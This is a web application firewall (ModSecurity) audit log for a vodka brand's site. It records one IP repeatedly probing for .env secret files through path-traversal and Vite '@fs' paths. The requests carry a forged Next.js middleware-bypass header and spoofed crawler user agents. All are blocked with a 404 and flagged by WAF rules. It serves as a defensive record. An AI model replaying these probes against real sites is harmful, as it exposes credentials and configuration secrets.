User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--12f48028-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--12f48028-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/app/.env"] [unique_id "aqakeWM7dE9KgIIOpQiAtQAAAM0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305977767518 165434 (- - -)
Stopwatch2: 1789305977767518 165434; combined=6189, p1=295, p2=5820, p3=0, p4=0, p5=74, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--12f48028-Z--
--1ccebe09-A--
[13/Sep/2026:16:26:18.293412 +0300] aqakemM7dE9KgIIOpQiAugAAANI 34.73.17.152 40422 127.0.0.1 7081
--1ccebe09-B--
GET /static//home/user/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--1ccebe09-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1ccebe09-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/static/home/user/.env"] [unique_id "aqakemM7dE9KgIIOpQiAugAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978108685 184787 (- - -)
Stopwatch2: 1789305978108685 184787; combined=6503, p1=350, p2=6085, p3=0, p4=0, p5=67, sr=134, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1ccebe09-Z--
--bf259453-A--
[13/Sep/2026:16:26:18.637407 +0300] aqakemM7dE9KgIIOpQiAvwAAAMQ 34.73.17.152 40510 127.0.0.1 7081
--bf259453-B--
GET /assets../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--bf259453-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bf259453-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/assets../.env"] [unique_id "aqakemM7dE9KgIIOpQiAvwAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978498147 139320 (- - -)
Stopwatch2: 1789305978498147 139320; combined=5412, p1=308, p2=5035, p3=0, p4=0, p5=69, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bf259453-Z--
--16ffb942-A--
[13/Sep/2026:16:26:18.649166 +0300] aqakekwu1RSkptiiNIX@TQAAAIM 34.73.17.152 40530 127.0.0.1 7081
--16ffb942-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--16ffb942-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--16ffb942-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env"] [unique_id "aqakekwu1RSkptiiNIX@TQAAAIM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978566120 83103 (- - -)
Stopwatch2: 1789305978566120 83103; combined=4648, p1=276, p2=4303, p3=0, p4=0, p5=68, sr=114, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--16ffb942-Z--
--db63687e-A--
[13/Sep/2026:16:26:18.788004 +0300] aqakemM7dE9KgIIOpQiAwAAAANc 34.73.17.152 40546 127.0.0.1 7081
--db63687e-B--
GET /config/.env.php HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--db63687e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--db63687e-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/config/.env.php||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqakemM7dE9KgIIOpQiAwAAAANc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/config/.env.php||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/config/.env.php"] [unique_id "aqakemM7dE9KgIIOpQiAwAAAANc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978681689 106411 (- - -)
Stopwatch2: 1789305978681689 106411; combined=32469, p1=221, p2=32199, p3=0, p4=0, p5=49, sr=92, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--db63687e-Z--
--046d4f54-A--
[13/Sep/2026:16:26:18.837380 +0300] aqakemM7dE9KgIIOpQiAwQAAAMU 34.73.17.152 40548 127.0.0.1 7081
--046d4f54-B--
GET /images../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--046d4f54-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--046d4f54-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/images../.env"] [unique_id "aqakemM7dE9KgIIOpQiAwQAAAMU"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978751125 86357 (- - -)
Stopwatch2: 1789305978751125 86357; combined=4930, p1=238, p2=4633, p3=0, p4=0, p5=59, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--046d4f54-Z--
--95ce4b19-A--
[13/Sep/2026:16:26:18.905640 +0300] aqakemM7dE9KgIIOpQiAwwAAAMg 34.73.17.152 40556 127.0.0.1 7081
--95ce4b19-B--
GET /.env.php.bak HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--95ce4b19-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--95ce4b19-H--
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqakemM7dE9KgIIOpQiAwwAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".env.php" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.php.bak||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/.env.php.bak"] [unique_id "aqakemM7dE9KgIIOpQiAwwAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978808728 96981 (- - -)
Stopwatch2: 1789305978808728 96981; combined=32681, p1=222, p2=32400, p3=0, p4=0, p5=59, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--95ce4b19-Z--
--2e716b61-A--
[13/Sep/2026:16:26:18.933046 +0300] aqakemM7dE9KgIIOpQiAxAAAAMM 34.73.17.152 40570 127.0.0.1 7081
--2e716b61-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--2e716b61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--2e716b61-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqakemM7dE9KgIIOpQiAxAAAAMM"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/app/.env.local"] [unique_id "aqakemM7dE9KgIIOpQiAxAAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978827125 105977 (- - -)
Stopwatch2: 1789305978827125 105977; combined=35688, p1=288, p2=35326, p3=0, p4=0, p5=74, sr=139, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--2e716b61-Z--
--cec6073d-A--
[13/Sep/2026:16:26:19.029515 +0300] aqakekwu1RSkptiiNIX@UAAAAI0 34.73.17.152 40588 127.0.0.1 7081
--cec6073d-B--
GET /uploads../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--cec6073d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--cec6073d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/uploads../.env"] [unique_id "aqakekwu1RSkptiiNIX@UAAAAI0"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978938096 91476 (- - -)
Stopwatch2: 1789305978938096 91476; combined=4373, p1=213, p2=4104, p3=0, p4=0, p5=56, sr=86, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--cec6073d-Z--
--815b9b61-A--
[13/Sep/2026:16:26:19.073513 +0300] aqakemM7dE9KgIIOpQiAxgAAAMo 34.73.17.152 40596 127.0.0.1 7081
--815b9b61-B--
GET /core/.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--815b9b61-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--815b9b61-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/core/.env"] [unique_id "aqakemM7dE9KgIIOpQiAxgAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305978986190 87394 (- - -)
Stopwatch2: 1789305978986190 87394; combined=4281, p1=218, p2=4000, p3=0, p4=0, p5=63, sr=88, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--815b9b61-Z--
--8976305c-A--
[13/Sep/2026:16:26:19.217983 +0300] aqake0wu1RSkptiiNIX@UQAAAIg 34.73.17.152 40618 127.0.0.1 7081
--8976305c-B--
GET /img../.env HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--8976305c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--8976305c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/img../.env"] [unique_id "aqake0wu1RSkptiiNIX@UQAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979151515 66535 (- - -)
Stopwatch2: 1789305979151515 66535; combined=5573, p1=281, p2=5233, p3=0, p4=0, p5=59, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--8976305c-Z--
--353bfa0e-A--
[13/Sep/2026:16:26:19.423871 +0300] aqake2M7dE9KgIIOpQiAywAAANY 34.73.17.152 40646 127.0.0.1 7081
--353bfa0e-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: alexandervodka.com
X-Real-IP: 34.73.17.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: CCBot/2.0 (https://commoncrawl.org/faq/)
Accept: */*
Cookie: csrfToken=SJFxU%2Bl06eFOCQc1kP%2F6AzMxZjM3YTJhYzgwMzQzNDViODI5Y2ZmNzgzMzliOTAyZDViNGY2MzE%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip
--353bfa0e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--353bfa0e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "alexandervodka.com"] [uri "/@fs/src/.env"] [unique_id "aqake2M7dE9KgIIOpQiAywAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/alexandervodka.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789305979301074 122853 (- - -)
Stopwatch2: 1789305979301074 122853; combined=3828, p1=251, p2=3518, p3=0, p4=0, p5=59, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--353bfa0e-Z--
--85f28c11-A--
